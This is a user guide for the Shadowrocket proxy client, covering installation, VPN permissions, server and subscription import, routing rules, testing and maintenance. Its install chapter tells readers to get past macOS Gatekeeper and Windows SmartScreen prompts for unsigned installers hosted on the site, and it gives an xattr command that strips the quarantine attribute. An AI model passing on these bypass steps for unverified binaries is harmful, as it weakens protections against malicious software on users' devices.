Shadowrocket
Complete User Guide

01 / ACQUIRE

Download and Install: Check the Platform and Source

Before configuring Shadowrocket, handle client installation separately from preparing connection details. Shadowrocket is closed-source commercial software. Installing it gives your device a client for proxy connections and rules; it does not provide a working server. The iPhone / iPad app costs $2.99 as a one-time App Store purchase; the Mac / Windows / Android / Linux versions are free. The validity period, account status, and data limits of an existing subscription are set by its provider and are separate from how you obtain the client.

iPhone / iPad: Verify the App Store Listing

Open the App Store from the iPhone / iPad link on the download page. Verify the product name Shadowrocket, developer Shadow Launch Technology Limited, official icon, and app ID 932747118. Don't rely on the name in search results alone; similar names don't identify the same app. Check the App Store listing for system requirements and follow its compatibility information rather than outdated system requirements in older articles.

If the app doesn't appear in search, first check the region associated with your Apple Account and whether the app is available there. The app isn't available in the mainland China App Store. Changing your device's display language or system region does not change the storefront for your account. If you need to change your account's region, review the account settings process and any restrictions involving your balance, existing subscriptions, or payment methods. Don't switch accounts repeatedly without understanding the consequences, and don't assume that a missing search result means an installation file is damaged.

Computers and Android: Choose the Right Installer

Get versions for other platforms from the downloads for all platforms page. Installers are served from this site at /dl/shadowrocket/. On Mac, open About This Mac: choose the Apple Silicon DMG if it shows an Apple chip, or the Intel DMG if it shows an Intel processor. On Windows, choose the 64-bit installer listed on the page. On Android, choose the arm64 installer and allow installation from the browser or file manager you're using. Don't use a similar file extension as a substitute for checking the architecture.

Desktop and Android installers are not code-signed, so the system may block them on first launch. If Mac says it can't verify the developer, verify the package came from this site, then use Open Anyway under Privacy & Security in System Settings. If Windows shows a SmartScreen prompt, verify the source first, then select More info and check whether Run anyway is available. These steps apply to the specific file; you don't need to disable system-wide protections. On managed devices, follow your administrator's policy.

If Mac says the app is damaged, delete the incomplete download and get the correct build again. Only after confirming the app is in Applications and came from a reliable source should you consider running the command below to clear its quarantine attribute. This changes how the system handles quarantine for that app. Don't use it on files from unknown sources or change the path to target an entire disk. For more troubleshooting options, see the Mac and Windows installation guide.

xattr -cr /Applications/Shadowrocket.app

Linux: Package Formats and Executable Permissions

Debian / Ubuntu systems usually use deb packages and apt to handle dependencies; Fedora-based systems use rpm with dnf. AppImage files need executable permission before you run them. The local filename in a command must match the file you actually downloaded; don't infer the package name from an example. An incomplete download, incompatible architecture, and missing runtime dependencies are different problems. Check the terminal output for each. See the Linux installation guide for details.

Move to the next chapter only after installation and a successful launch. Don't import everything before the client opens successfully. If you change devices or reinstall, use the original purchasing account to check purchased items on iPhone / iPad; on other platforms, download the matching installer again from this site. Keeping a backup of your existing configuration matters more than keeping an old installer: server credentials, rules, and local settings aren't restored automatically when you download the client again.

02 / PERMISSIONS

First Launch and Permissions: Establish a Reliable Baseline

After opening Shadowrocket for the first time, check Home for existing servers, see which Global Routing option is selected, and confirm the connection switch is off. There's no need to change every setting right away. A reproducible starting point is a working system network, no active client connection, and no other working VPN configuration. This makes it easier to distinguish an existing network problem from a client configuration issue later.

What VPN Configuration Authorization Means

When you connect for the first time on iPhone / iPad, the system asks to add a VPN configuration and may request your device passcode or biometric confirmation. This authorization lets the client handle relevant traffic through the system network extension. It doesn't purchase a connection service, nor does it mean every request will go through a remote server. Whether a request uses PROXY or DIRECT also depends on Global Routing and the current configuration. Check the app name in the system prompt before authorizing on your device.

If you previously denied authorization, return to the client, try connecting again, and watch for the system prompt. If no prompt appears, check the VPN status in system settings and whether device management policies restrict access. Don't start by resetting all network settings; that may also remove saved Wi-Fi networks and other connection details. First check whether the client can request permission and save its configuration. Then decide whether to remove an old Shadowrocket VPN configuration and authorize it again.

Check for Interference from Other Network Extensions

Your device may also have another VPN, enterprise access, network filter, or system management feature. For troubleshooting, first stop anything that handles the same traffic, then test Shadowrocket on its own. Whether they can coexist depends on the system and actual configuration; an icon alone won't tell you. Removing an enterprise configuration or profile could affect your work network. On managed devices, contact your administrator rather than removing organizational policies to test.

A VPN icon in the system status bar only confirms that the system has a corresponding tunnel state. It doesn't prove server authentication, DNS, the destination website, and the rules are all working. Likewise, not seeing the client in the foreground after returning to the Home Screen doesn't mean the connection has ended. Check the connection status in Home and actual request records; don't treat a single icon as proof that everything is connected successfully.

Grant Camera, Photos, and Local Network Access as Needed

When you use Scan QR Code, camera permission lets the app read the code. Importing details from an image may also require photo access. Grant these permissions only for the import method you're using; you can still enter details manually through Add Server without scanning. For photo access, choose the narrowest option that allows the import. A QR code may contain complete credentials, so take care before saving it to your library or sharing it.

If the system asks for local network access, first check whether you actually need to reach devices on your LAN or use a related network feature. Permissions and routing policies operate at different levels: allowing local network access doesn't automatically route every LAN address through DIRECT, and correct rules can't override an access permission explicitly denied by the operating system. If a LAN device is unreachable, check permissions, its IP address, the subnet, and whether the current Wi-Fi network has client isolation enabled.

Keep a Network Baseline and Change One Thing at a Time

Before configuring the app for the first time, note whether you're on Wi-Fi or cellular, whether a web login is required, and whether regular websites open directly. Public Wi-Fi captive portals usually need to be completed before connecting the client; your device may show Wi-Fi as connected while still lacking internet access. For cellular, check whether system settings restrict network access for the app and whether mobile data is actually working.

Keep On Demand off until your first successful connection, and avoid proactively changing complex DNS or other advanced settings. Tackle one issue at a time: first get system permission, then import one known-good set of details, then run a connection test. If the status changes when the app goes into the background, note the network change and system prompt at that time, then check the maintenance chapter for possible causes. Don't change several switches at once and introduce more uncertainty.

You're ready to move on when the client opens normally, the system allows it to add a VPN configuration, the basic network works, and you know how to disconnect manually. If permission is still blocked, use the FAQ section on installation and first launch by platform. Don't start debugging rules with an unresolved permissions issue: the symptoms can look similar, but the solutions are very different.

03 / CONNECTION MATERIAL

Add Server and Subscribe: Identify the Type of Connection Details

This chapter assumes you already have your own subscription or server details. First identify whether you have individual server parameters, a single share link, a QR code, or a Subscribe URL that can update a server list. They may all appear as text, but they serve different purposes. Pasting a subscription URL into a server address field or using a complete share link as a password won't produce a valid configuration just because it looks like a URL.

Add Server: Enter Your Existing Parameters

To add a server manually, open Add Server from the add option in Home. Choose the protocol used by the server, then enter its address and port. The address can be a hostname or IP; don't append a web path yourself. Use the port provided by the server. Remarks are for local identification only and aren't used for authentication. Keep passwords, UUIDs, keys, and other credentials exactly as provided, and watch for extra spaces, line breaks, or smart punctuation when copying.

Matching the protocol name is only the first step. A protocol can also use different transport methods, TLS, SNI, or paths; don't omit these fields just because the server responds. SNI is the name used during the TLS handshake, not an arbitrary label. WebSocket path and Host fields also have specific purposes. If you don't have the required parameters, check the original service details. Don't mask incorrect fields by disabling certificate checks.

Share Links and QR Codes: Check Details After Import

Importing from the clipboard or using Scan QR Code can reduce typing errors, but a successful import only means the client could parse the details; it doesn't prove the remote service is still available. After importing, open the entry and check that the protocol, server address, and port match the original. A compressed, obscured, or multi-part QR code may not scan. Get a clear original image or use the original text instead of repeatedly scanning the same blurry image.

If the scan returns a subscription URL, save it as a Subscribe entry, not as an individual server. The location of the scan option and fields may change with the interface, but the contents determine what kind of information it is. Don't upload a QR code containing credentials to a public decoding service, or post a complete share link in public feedback. For troubleshooting, describe the protocol and field names, and hide credentials.

Subscribe: Updates the Server List

To add an existing Subscribe URL, enter the complete address provided by the service, save it, then update and check the result. The path and query parameters may be used for authentication; removing trailing parameters can make the request fail. An empty result, authentication failure, unrecognized format, and network timeout are different outcomes. First check that the address is complete and still valid, then check whether the basic network can reach it, and finally confirm the content is in a format the client can recognize.

After the first update, note the group names and recognizable server remarks in the list. A subscription update may add, remove, or rename entries; not every change means the client is malfunctioning. If you manually edit a server created from a subscription, a future update may overwrite the change. If you need fixed parameters, create a clearly named independent entry and keep the original subscription, so you can tell which one is selected.

Servers, Subscriptions, and Config Are Different Layers

A server entry describes where to connect; Subscribe manages the source of a group of entries; Config determines how traffic matches rules and uses policies. Adding a server doesn't automatically provide rules suited to every situation, and downloading a Config doesn't necessarily include usable server credentials. After importing, check the selected server in Home and the active configuration in Config separately. Don't assume everything is ready just because one list contains entries.

Aim for a clear minimum: one set of valid connection details, an identifiable current server, and a configuration with a known purpose. Don't import several similar subscriptions or Config files in a row. Duplicates make it easier to select the wrong entry and harder to identify where a failure came from. If you only need to complete your first import, return to Getting Started and follow the main steps. Use this chapter to check fields and update behavior.

04 / GLOBAL ROUTING

Global Routing: Understand the Three Modes

Global Routing determines the overall approach the client uses to handle traffic. Config, Proxy, and Direct correspond to the options in the interface. They aren't three sets of servers or service tiers. Changing this selection determines whether requests follow rules and use a proxy. Before adjusting rules, check the current mode: the same Config can behave differently in different modes, making it seem as if rules aren't working.

What Config, Proxy, and Direct Do

Config is the usual choice when you need rule-based routing. PROXY in a rule generally refers to a policy defined in the configuration or the proxy policy currently in use; DIRECT means connect directly; REJECT denies matching requests. A policy name in a rule must map to an actual policy in the configuration. An arbitrary remark isn't a valid policy. Proxy can help isolate the effect of rule matching, but it can't fix a password, TLS, or remote service problem.

Direct isn't a full substitute for baseline testing with the client disconnected, because the client may still handle DNS and other network traffic. To check whether the system network itself is at fault, disconnect completely and visit the same destination. Keep the network, URL, and test time as consistent as possible. If you change Wi-Fi and routing mode at the same time, you won't know which change affected the result.

Rules Are Checked from Top to Bottom; the First Match Wins

Rule order matters. Put more specific domain conditions before broader ones, and place FINAL at the end as a fallback. This example illustrates the syntax and order: send a specified domain suffix through PROXY, connect directly to LAN addresses, connect directly to addresses matched by GEOIP,CN, and send everything else through PROXY. This isn't a complete configuration for every network; check your own services and policy definitions before using it.

[Rule]
DOMAIN-SUFFIX,example.com,PROXY
IP-CIDR,192.168.0.0/16,DIRECT,no-resolve
GEOIP,CN,DIRECT
FINAL,PROXY

DOMAIN matches one exact domain; DOMAIN-SUFFIX matches that domain and its subdomains; DOMAIN-KEYWORD matches a keyword in the domain and has broader coverage, so it may match sites you didn't intend to include. IP-CIDR and IP-CIDR6 match address ranges. GEOIP relies on IP geolocation data, not a page's language or a site's brand. Choose a rule type based on the evidence you have—a domain or an address—not simply whichever syntax looks shortest.

Check Domain Rules, Resolution, and Connection Records Together

A single page may load content from multiple domains; the page, images, login, and APIs don't necessarily use the same host. It's common for some resources to follow a different policy even after you add a rule for the main domain. Check current request records to identify the destination for missing resources, then decide whether to add a precise rule. A broad keyword rule may be quicker, but it could also route unrelated domains through the proxy.

Address rules may need a resolved IP to match. In this example, no-resolve prevents the address rule from triggering a domain lookup; it doesn't disable all DNS. DNS caching, apps reusing old connections, and destinations using multiple addresses can all affect what you see. After editing a rule, send a new test request. If needed, close and reopen the destination app so you don't judge the updated configuration using a connection opened before the change.

If you want a few sites to use PROXY and everything else to use DIRECT, put the specified domain conditions first and use FINAL,DIRECT as the last rule. This is the opposite fallback from the example above; don't copy both endings. See how to write DOMAIN-SUFFIX and FINAL rules for a complete example. Keep a working copy of the configuration before saving changes. If a rule matches incorrectly, revert first, then narrow the conditions one at a time.

05 / VERIFICATION

Connect and Test: From System Status to Actual Requests

Once the server details and routing mode are set, start your first connection. Choose a clearly identifiable server in Home, confirm Global Routing matches your test, then turn on the connection switch. Follow the system prompt to authorize the first connection. Don't judge it immediately when the switch changes; give the connection and first request a reasonable amount of time, and watch for a clear client error instead of repeatedly toggling the switch and triggering more reconnections.

Break Verification into Three Layers

First, check whether the system started the VPN configuration. Second, check whether the client can communicate successfully with the selected server. Third, check whether the target website request completes as expected. Success at one layer doesn't guarantee success at the next. If the VPN is active but webpages won't open, investigate authentication, DNS, TLS, the remote exit, or rules. If the switch turns off immediately, start with system permissions, whether the configuration can load, and any error reported by the app.

First test a regular webpage you're familiar with and can visit repeatedly, then a destination that should use PROXY under your current rules. With Config, also test a destination expected to use DIRECT to confirm that requests aren't all handled by the same policy. A page you opened earlier may be cached. Refresh it and check for new requests; a cached title or image isn't proof of a working network connection.

What Connectivity Test Can Tell You

Connectivity Test results depend on how the test is run. A response usually means that test request returned a result at that time; it doesn't mean every protocol feature, website, or long transfer will work. Low latency doesn't mean high throughput. Bandwidth, congestion, remote server load, and the route used by an app can all affect performance. Don't rank results from different test methods as if they were directly comparable.

Start with a few entries from your own existing servers, repeat the test using the same method, then try the websites you actually need. If a server fails the test but webpages work, check whether the test target or method is restricted. If the test succeeds but a webpage doesn't, investigate DNS, rules, and the destination site. For context on test results, see the guide to latency tests and choosing a server. Don't rely on a single number.

Troubleshoot One Layer at a Time

If all destinations fail, disconnect the client and confirm the basic network works, then check the server address, port, and authentication details. For TLS errors, check the system time, certificate name, and SNI instead of bypassing validation. Protocols that depend on UDP may also be affected by the current network's UDP support. Failure on one network doesn't prove the details are wrong; compare using the same parameters on another available network.

If only one website has a problem, check its rules and request results first. Don't replace the entire Config right away. A server-side error, account login restriction, or regional content difference isn't necessarily a client connection failure. Record whether the connection can't be established, the request times out, or the website returns a rejection. Each points to a different troubleshooting path.

Retest After Switching Networks

When switching from Wi-Fi to cellular, old connections may need to be re-established, and requests in progress may be interrupted. Wait for the system network to stabilize, then refresh the destination. If it still fails, disconnect and reconnect once, then check again. Don't change the server, rules, and DNS within seconds of a network switch; you won't know which change resolved the issue, and you won't be able to reproduce it reliably.

A useful test result should be easy to describe: on a particular network, with a particular server and Global Routing mode, a new request to a specific destination used the expected policy and returned a response. This is more informative than saying it “works.” If you still can't identify the problem, continue in the FAQ by issue type. Prepare redacted error text, network type, and reproduction steps; don't share subscription URLs or complete server credentials.

06 / DATA

Data: Use Traffic and Request Records to Understand Behavior

Data helps you inspect traffic and connections handled by the client; it isn't a replacement for server-side usage records. Open Data and first identify whether the current screen shows live connections, request records, or summary statistics, and check the time range. Uploads, downloads, connection counts, and request duration describe different things. Without checking the units and range, it's easy to mistake a cumulative total for the current transfer speed.

Client Statistics May Differ from Subscription Usage

Local statistics can be affected by reconnections, clearing data, app restarts, and when tracking began. The server uses its own billing period and measurement method. Protocol overhead, retries, and other devices using the same service can also cause the figures to differ. Don't estimate your remaining subscription data from local download totals; use the records provided by the service. Client statistics are mainly useful for understanding activity on this device.

Upload and download directions are usually measured from the device's perspective: sending data out is upload; receiving content is download. Loading a webpage involves more than downloading: DNS, TLS handshakes, request headers, and acknowledgements all send data. Video playback may also prefetch content for caching. A small amount of traffic after you stop interacting with a page doesn't immediately indicate a problem; first check for background apps, syncing, or persistent connections.

Build an Evidence Trail from Destination to Result

To troubleshoot rules, find the destination you just requested in the records. Then check the available domain or address, matched rule, final policy, and connection result. Fields vary by interface, so use the information actually shown in your current records. Seeing an IP in the destination field doesn't mean the website has no domain. The app may use an address directly, reuse cached data, or omit the domain at the point the client can observe.

A webpage usually creates multiple connections. Don't judge the whole site based on the first record alone. Before testing, close unrelated apps, note the time, and refresh the destination once. If you need to clear records, first save the relevant details. Clearing records reduces clutter; it doesn't fix a server or DNS. With fewer records to review, check whether failed resources use different domains or policies from the main page.

How to Interpret Common Symptoms

Multiple addresses for the same domain may be due to load balancing, different DNS results, or connections to multiple resources. Don't immediately create fixed IP rules for each one. Fixed addresses may become outdated or affect other sites that share them. Prefer domain rules that precisely describe the destination. Use IP-CIDR only when you understand the address range, then check the match again after making a change.

A connection that stays open with little traffic may be a long-lived connection waiting for an event. A sudden increase in traffic may come from system syncing or app prefetching. Check the app that opened the connection, its destination, and when you were using it rather than relying only on duration or total traffic. If the behavior stops when you close an app and returns when you reopen it, that's a more useful clue than deleting rules at random.

A timeout means the request didn't complete within the relevant wait period, but the cause could be the local network, server, destination website, or return path. Keep authentication errors, resolution failures, and timeouts separate. Use the layered approach from the previous chapter: check the basic network first, then compare another server or network without changing parameters. Data provides evidence of what happened; it can't determine on its own which side caused the problem.

Request Record Privacy and What to Share

Request records may reveal domains you visit, local network addresses, usage times, and app activity. Before sharing, include only what is directly relevant to the issue and hide subscription URLs, credentials, and private destinations. A complete browsing record can contain sensitive information even if no password is shown. Don't export an entire history to ask for help; the destination type, policy, error text, and reproduction steps are usually enough to start troubleshooting.

Logs and detailed records use more storage and processing resources as they grow. After troubleshooting, return to a record level suited to everyday use and clear history you no longer need using the option in the current interface. If you want to compare results before clearing, note the conditions for both tests first. A smaller statistic later doesn't prove the new configuration works better.

The goal isn't to inspect every request by hand. It's to gather a small amount of repeatable evidence when something goes wrong. Once you can make a clear request, find its record, and explain its policy and result, return to normal use. If a destination that should use PROXY matches DIRECT, revisit the Global Routing chapter. If the policy is correct but the request still fails, return to connection testing.

07 / SETTINGS

Settings: Change Only What You Need

Settings options have different effects. Some control app preferences, some change network behavior, and others may also appear in a Config file. Before changing anything, note its original value, confirm which configuration is active, and check whether that configuration overrides the setting. Don't treat someone else's settings screenshot as a universal answer: different networks, server parameters, and routing goals can make the same combination of switches produce opposite results.

DNS: First Find Out What's Resolving the Domain

DNS maps domain names to addresses, affecting subsequent connections and address rules. When troubleshooting, distinguish between “the domain didn't resolve to a usable address” and “an address was returned, but the connection failed.” If a direct test to an IP works while a request by domain fails, investigate the resolution path. Also account for HTTPS certificate name requirements; a result from visiting an arbitrary IP isn't equivalent to visiting the original website.

Local resolution and resolving through a proxy use different paths. Check the current Config and settings to determine which behavior applies. After changing DNS, send a new request and account for caches and old connections. Adding many DNS servers at once won't necessarily fix the problem. First confirm what each address is for, whether it's reachable on your network, and whether the configuration syntax is valid. Keep only changes you can explain.

Encrypted DNS protects the relevant resolution path; it doesn't route every app connection through a proxy or replace TLS protection for the destination connection. Internal domains on a LAN may depend on the network's DNS service. Switching indiscriminately to an external resolver can make internal resources inaccessible. For work, school, or home storage, test internal domains separately from regular websites rather than checking only a public destination.

On Demand: Separate Automatic Connection from Routing

On Demand triggers connection behavior based on conditions; Global Routing determines how requests are handled after connecting. Automatic connection doesn't create routing rules, and disabling a rule doesn't necessarily turn off On Demand. First verify a manual connection, then add one easy-to-understand trigger, such as a condition for a specific Wi-Fi network. Don't stack several conditions and then guess which one took effect.

If the connection starts again automatically after you turn it off manually, first check On Demand and related system auto-connect settings instead of reinstalling the app. When multiple network conditions are configured, check their matching scope and order one at a time. Make sure the Wi-Fi name matches the current network, and test cellular conditions after switching networks. See how to configure On Demand for Wi-Fi and cellular for more examples.

Limits for Adjusting TLS, UDP, and IPv6

For TLS problems, first check the system time, SNI, server certificate, and transport parameters. Disabling certificate verification changes the security boundary and isn't a routine speed boost or general fix. If the server's domain has changed, the old SNI or certificate name may no longer be right. Update the details from the original source rather than keeping old parameters and repeatedly relaxing checks. The server address and TLS name may differ, but both must meet the server's requirements.

UDP availability depends on protocol support, server configuration, and the current network. Enabling a client option can't make every network support UDP. IPv6 isn't an isolated switch either: the device, DNS results, network exit, and rules may all be involved. If only destinations resolving to IPv6 addresses fail, save the relevant records and compare in a controlled test instead of blaming every connection problem on IPv6.

Parameters such as MTU affect packet size and the transmission path, so don't change them casually during initial setup. Test them gradually only if a specific network has a reproducible transfer problem and you have a reason to do so. Change one value at a time and record the network and destination before and after. A fixed number found online might change the symptom temporarily while disrupting other connections.

Record App Preferences and Network Settings Separately

Display, sorting, and testing preferences mainly affect how you use the app. DNS, routing, and connection settings directly affect requests. Keep separate notes for changes in these two categories. Changing a remark to organize the list is different from changing a server address. When troubleshooting, check recently changed network settings first, then consider interface preferences. A different list order doesn't mean server details have been reset.

If an option isn't in the current interface, don't search other pages for a similarly named switch and force a match. First check whether it belongs to the current Config or server details. Platforms and interfaces may organize things differently; this guide doesn't rely on a single fixed location. A change is complete only when you can explain its purpose, scope, and rollback—not just when the switch matches someone else's.

08 / MAINTENANCE

Routine Maintenance: Keep Working Configurations and Useful Records

Once Shadowrocket is working reliably, maintenance is less about changing settings and more about knowing what may change, what to back up, and how to return to a known-good state when something goes wrong. Server lists, Config, app preferences, and system VPN permissions are separate layers; a change in any one of them may affect your experience. A simple maintenance routine helps keep service expiration, subscription updates, and rule changes from getting mixed together.

Check Subscription and Config Updates Separately

After updating Subscribe, check whether the update retrieved content successfully and whether commonly used servers were removed or renamed. Don't judge the update only by the number of entries: the service may have changed its server lineup, while old local entries may still be visible. If the connection fails after an update, first check whether the selected entry is still a valid server, then verify its authentication details and service status. You don't need to reset the entire app right away.

A Config update can change rules, DNS, policy names, and other settings, so its effects can go beyond updating a server list. Save a working copy before updating. Afterwards, test PROXY, DIRECT, and LAN behavior with a few fixed destinations. If policy names have changed, check any selections associated with them. Automatic updates reduce manual work, but don't replace understanding significant configuration changes.

Backups Should Have a Clear Purpose and Be Treated as Sensitive

At a minimum, know which Config you use, which existing subscription your usual servers come from, and what you've changed locally. When saving a backup using the export option in the current interface, check whether it contains server passwords, subscription URLs, keys, or other credentials. A plain-text configuration file can be as sensitive as an account password; don't put it in a public folder or share it publicly.

Name backups by purpose, such as “Daily Routing” or “Pre-Troubleshooting Copy,” rather than using numbers that are easy to mix up. When restoring, import the backup and check that its referenced policies and servers still exist before connecting manually. Server parameters in an old backup may have expired, so a successful import doesn't guarantee the restored configuration will work. Test it again using the connection guide.

App Updates, Device Transfers, and Reinstallation

Update the iPhone / iPad app through the App Store. When downloading it again, first check purchased items under the original purchasing account. The iPhone / iPad app costs $2.99 as a one-time App Store purchase; the Mac / Windows / Android / Linux versions are free. These two ways of obtaining the client don't change the fact that connection services are separate. Save your own configuration and subscription details before changing devices; don't assume they'll all reappear after installing the app.

When updating on a computer or Android, get the installer for the right platform from the downloads page and follow the instructions for handling system prompts. On Mac, choose the Apple Silicon or Intel build as appropriate. On Linux, keep using the package format for your distribution. Close the client and save local changes before updating. Afterwards, check whether the existing configuration was preserved before importing anything, so you don't create duplicate copies.

Write a Reproducible Problem Report

Organize a problem report around five details: the network you were using, selected server, Global Routing mode, type of destination affected, and error shown by the client. Also note whether Subscribe, Config, or the app was recently updated, and whether the basic network works with the client off. This makes it easier to identify whether the issue involves permissions, connection details, routing, or the remote service than a report that simply says “it suddenly stopped working.”

Troubleshoot in a fixed order: check the basic network, then server validity, then the active configuration and matched policy, and only then advanced settings. Temporarily switching to Proxy can help isolate rules, but restore your usual mode afterwards. If switching networks is the only way to get an occasional successful connection, record the conditions each time rather than keeping only the successful test. Intermittent problems need comparisons.

• Reproducible: Under the same conditions, the problem occurs again. Start by reducing the number of changes and destinations.
• Only on one network: Keep parameters unchanged and compare with another available network.
• Only after an update: Restore the previous working configuration, then compare changes one at a time.
• Only for one destination: Check its request and policy instead of resetting all connection details.

When Cleanup and Rollback Are Complete

You can remove unused standalone servers and duplicate configurations, but first check whether a policy still refers to them. Keep any necessary backups before deleting, then retest common scenarios. If entries generated by a subscription return after an update, manage them through their source instead of repeatedly deleting them by hand. When you stop using a service, also remove saved copies of its credentials and QR code images you no longer need.

A successful rollback isn't about restoring the list to its previous appearance. It means you can complete the target request on a known network and explain how it was routed. Once things are working, turn off temporary detailed logging, restore the On Demand conditions you need for everyday use, and keep the final working Config. For the same problem later, reuse this check sequence. For a short process, see Getting Started; for specific questions, see the FAQ. Don't start by deleting all your configurations.